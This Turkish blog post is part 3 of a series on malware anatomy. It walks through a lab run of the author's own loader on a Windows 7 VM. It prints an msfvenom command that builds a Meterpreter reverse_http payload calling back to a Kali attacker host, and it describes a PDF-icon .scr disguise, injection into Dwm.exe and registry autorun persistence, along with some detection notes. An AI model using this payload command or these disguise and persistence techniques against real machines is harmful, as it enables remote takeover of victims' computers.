13 Kasım 2017

Bir Zararlı Yazılımın Anatomisi - Bölüm 3

ZARARLI YAZILIMIN ÇALIŞTIRILMASI


Öncelikle bir sanal makineye Windows 7 32 Bit işletim sistemi kuruyoruz. Aslında bu zararlı yazılım üzerinde çalışan 32 bitlik bir proses bulunmayan bir 64 bitlik Windows 7 işletim sisteminde etkisiz kalıyor, çünkü injection yapabileceği bir proses bulamıyor (hatırlayın 32 bit’lik bir proses yine 32 bit’lik bir proses’in adres alanına injection yapabiliyordu).
Bir diğer taraftan XP SP3 üzerinde de çalışmıyor, çünkü kullandığı API’lerden bir kısmı bu platform üzerinde mevcut değil. Bu da şu gerçeği ortaya koyuyor; zararlı yazılımı birden fazla platform üzerinde denemek zorunda kalabilirsiniz.


Zararlı yazılımın payload’u çekeceği Kali makinemizin IP adresi 192.168.152.149.


Hedef bilgisayarın hosts dosyasına bu IP adresini ve alan adını giriyoruz.

msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_http LHOST=192.168.152.149 LPORT=443 -f raw EXITFUNC=thread > paket.bin


Msfvenom ile payload’umuzu hazırlıyoruz. Bu noktada şu söylenebilir, burada işi Metasploit yapıyor. Doğru olan yorum şudur; zararlı yazılım herhangi bir payload’u alıp çalıştırabilecek fonksiyonaliteye sahip, ancak Meterpreter payload’unun da nimetlerinden faydalanabiliriz. Bu nimetlerden birisi de meterpreter’in kurduğu tünelin HTTP proxy desteğinin de olması. Ancak yeterli zaman ve çaba ile meterpreter’in benzeri bir fonksiyonaliteyi geliştirebileceğimiz aşikardır.


Kali (malware sunucusu) üzerinde payload’u yayınlamak üzere SimpleHTTPServer’ı başlatıyoruz (sızma testi çalışmaları yapan arkadaşların aşina olduğu bu servis basit bir HTTP servisidir ve içinde bulunduğu dizinde istenen herhangi bir dosyayı istemciye HTTP üzerinden iletir).


Msfconsole üzerinde meterpreter payload’unun geri (reverse) bağlandığında karşılanması, ikinci aşama (secon stage) payload’u gönderebilmesi ve sonrasında da daha yüksek bir trojan fonksiyonalitesini kazanabilmek için multi handler’ımızı başlatıyoruz (yine bu araçlara sızma testi uzmanları daha aşina olacaktır).


Zararlı yazılımın uzantısını scr olarak değiştiriyoruz. Bu uzantı genellikle screen saver uygulamalarına veriliyor, ancak aynen exe dosyalarda olduğu gibi uygulamanın belleğe yüklenmesi ve çalıştırılmasına neden oluyor.


Zararlımızı yeni kurulmuş bir Windows 7 bilgisayara kopyaladığımızda öntanımlı olarak bilinen uzantılar saklandığından kullanıcı dosya uzantısının ne olduğunu göremiyor bile. Ayrıca ikonun bir PDF dosya ikonu olarak projeye yüklenmiş olması da dosyanın bir PDF dosyası olduğu algısını doğuruyor.


Drop edeceğimiz PDF dosyasının hedef bilgisayar üzerinde görüntülenebilmesi için Adobe Acrobat Reader uygulamasını kuruyoruz.


Zararlı yazılımı çalıştırdığımızda beklediğimiz gibi PDF dosyası drop ediliyor ve görüntüleniyor.


Kali üzerinde payload dosyamız olan paket.bin dosyasının çekildiğini görüyoruz.


Sonraki aşamada bu payload bulunan bir prosesin adres alanına inject edilerek çalıştırılıyor. Böylece artık hedef sisteme prosesi çalıştıran kullanıcının hakları ile erişiyoruz.


Hedef sistem üzerindeki prosesleri listelediğimizde fatura_pdf diye bir prosesin artık aktif olmadığını görüyoruz, ancak bizim backdoor bağlantımız halen aktif. Acaba hangi proses’in adres alanından bu bağlantıyı kuruyoruz.


Meterpreter’de getpid komutunu çalıştırdığımızda process id’mizin 1392 olduğunu görüyoruz.


ps komutu ile prosesleri listelediğimizde bunun Dwm.exe uygulaması olduğunu görebiliyoruz.


Wireshark ile iletişimi izlediğimizde TCP 80 portundan HTTP ile ilk aşama payload’un çekilmesini görebiliyoruz. Bu tür ağ aktiviteleri IDS / IPS cihazları üzerinde tanımlanacak kurallar ile tespit edilerek zararlının aktif olduğu bilgisayarlar tespit edilebilir. Ancak bu trafik sadece zararlı ilk çalıştığında oluşuyor. Yani tüm bilgisayarlar reboot ettiğinde (bizim zararlımız autorun registry kayıtlarına kendini eklediğinde) bu davranışı gözlemleyebiliriz.


TCP 443 portundan gerçekleşen trafiği filtrelediğimizde ise meterpreter’in TCP 443 portundan malware sunucusuna bağlanarak 2. Aşama (stage) payload’u çektiği ve devamında oluşan trafiği gözlemliyoruz. Burada ilk 2 karakterin MZ olması ikinci aşama payload’un bir PE dosyası olduğunu bize anlatıyor.


Hedef sistem reboot edildikten sonra autorun registry kaydı sayesinde zararlı yazılım tekrar aktif hale geliyor.


Birinci aşama payload tekrar çekiliyor.


Ve yeni bir meterpreter oturumu açılıyor. Böylece kalıcılık hedefimize de ulaşmış oluyoruz.


Hedef sistemin registry kayıtlarını incelediğimizde oluşturulan autorun kaydı görülebilir. Kaynak kodumuz incelendiğinde burada kullanılan değer adı ve dosya adı gibi parametrelerin değişken olduğu görülecektir, yani tek bir dinamik analiz denemesi sonrasında diğer bilgisayarlarda bu değerlerin aranması gözden kaçırmalara neden olacaktır.


Registry kaydında işaret edilen zararlı yazılım kopyası da burada görülmektedir. Zararlımız pdf verisini de aynı dizine drop etmiş (kodlarda da bu davranışın böyle olduğu görülebilir).

<< Önceki Bölüm                                                                                                                    Sonraki Bölüm >>